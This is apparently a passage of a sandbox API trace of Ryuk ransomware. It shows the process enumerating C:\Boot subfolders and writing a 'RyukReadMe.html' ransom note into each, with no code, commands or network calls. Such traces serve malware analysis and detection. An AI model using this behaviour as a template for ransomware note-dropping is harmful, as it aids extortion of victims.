	[0196.396] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0196.396] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0196.397] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0196.397] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0196.397] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0196.397] SetLastError (dwErrCode=0x0) 
	[0196.397] CreateFileW (lpFileName="C:\\Boot\\de-DE\\RyukReadMe.html" (normalized: "c:\\boot\\de-de\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.397] GetLastError () returned 0x0
	[0196.398] WriteFile (in: hFile=0x390, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0196.400] CloseHandle (hObject=0x390) returned 1
	[0196.401] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0196.401] SetLastError (dwErrCode=0x0) 
	[0196.401] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.401] GetLastError () returned 0xb7
	[0196.401] CloseHandle (hObject=0x390) returned 1
	[0196.402] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0196.402] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0196.402] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0196.402] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0196.402] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0196.403] SetLastError (dwErrCode=0x0) 
	[0196.403] CreateFileW (lpFileName="C:\\Boot\\el-GR\\RyukReadMe.html" (normalized: "c:\\boot\\el-gr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.403] GetLastError () returned 0x0
	[0196.403] WriteFile (in: hFile=0x390, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0196.956] CloseHandle (hObject=0x390) returned 1
	[0197.512] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0197.512] SetLastError (dwErrCode=0x0) 
	[0197.512] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.513] GetLastError () returned 0xb7
	[0197.513] CloseHandle (hObject=0x330) returned 1
	[0197.513] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.514] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.514] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.514] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0197.514] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0197.514] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.514] SetLastError (dwErrCode=0x0) 
	[0197.515] CreateFileW (lpFileName="C:\\Boot\\en-US\\RyukReadMe.html" (normalized: "c:\\boot\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.515] GetLastError () returned 0x0
	[0197.515] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.518] CloseHandle (hObject=0x330) returned 1
	[0197.518] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0197.519] SetLastError (dwErrCode=0x0) 
	[0197.519] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.519] GetLastError () returned 0xb7
	[0197.519] CloseHandle (hObject=0x330) returned 1
	[0197.519] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.520] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.520] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.520] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.520] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.520] SetLastError (dwErrCode=0x0) 
	[0197.520] CreateFileW (lpFileName="C:\\Boot\\es-ES\\RyukReadMe.html" (normalized: "c:\\boot\\es-es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.521] GetLastError () returned 0x0
	[0197.521] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.524] CloseHandle (hObject=0x330) returned 1
	[0197.524] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0197.524] SetLastError (dwErrCode=0x0) 
	[0197.524] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.524] GetLastError () returned 0xb7
	[0197.525] CloseHandle (hObject=0x330) returned 1
	[0197.525] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.525] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.525] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0197.525] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0197.526] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.526] SetLastError (dwErrCode=0x0) 
	[0197.526] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\RyukReadMe.html" (normalized: "c:\\boot\\fi-fi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.526] GetLastError () returned 0x0
	[0197.526] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.529] CloseHandle (hObject=0x330) returned 1
	[0197.530] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0197.530] SetLastError (dwErrCode=0x0) 
	[0197.530] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.530] GetLastError () returned 0xb7
	[0197.530] CloseHandle (hObject=0x330) returned 1
	[0197.530] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0197.531] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0197.531] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x2e, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0197.531] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0197.531] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0197.531] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x2e, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0197.531] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0197.531] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0197.531] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0197.531] SetLastError (dwErrCode=0x0) 
	[0197.532] CreateFileW (lpFileName="C:\\Boot\\Fonts\\RyukReadMe.html" (normalized: "c:\\boot\\fonts\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0197.544] GetLastError () returned 0x0
	[0197.544] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0197.547] CloseHandle (hObject=0x330) returned 1
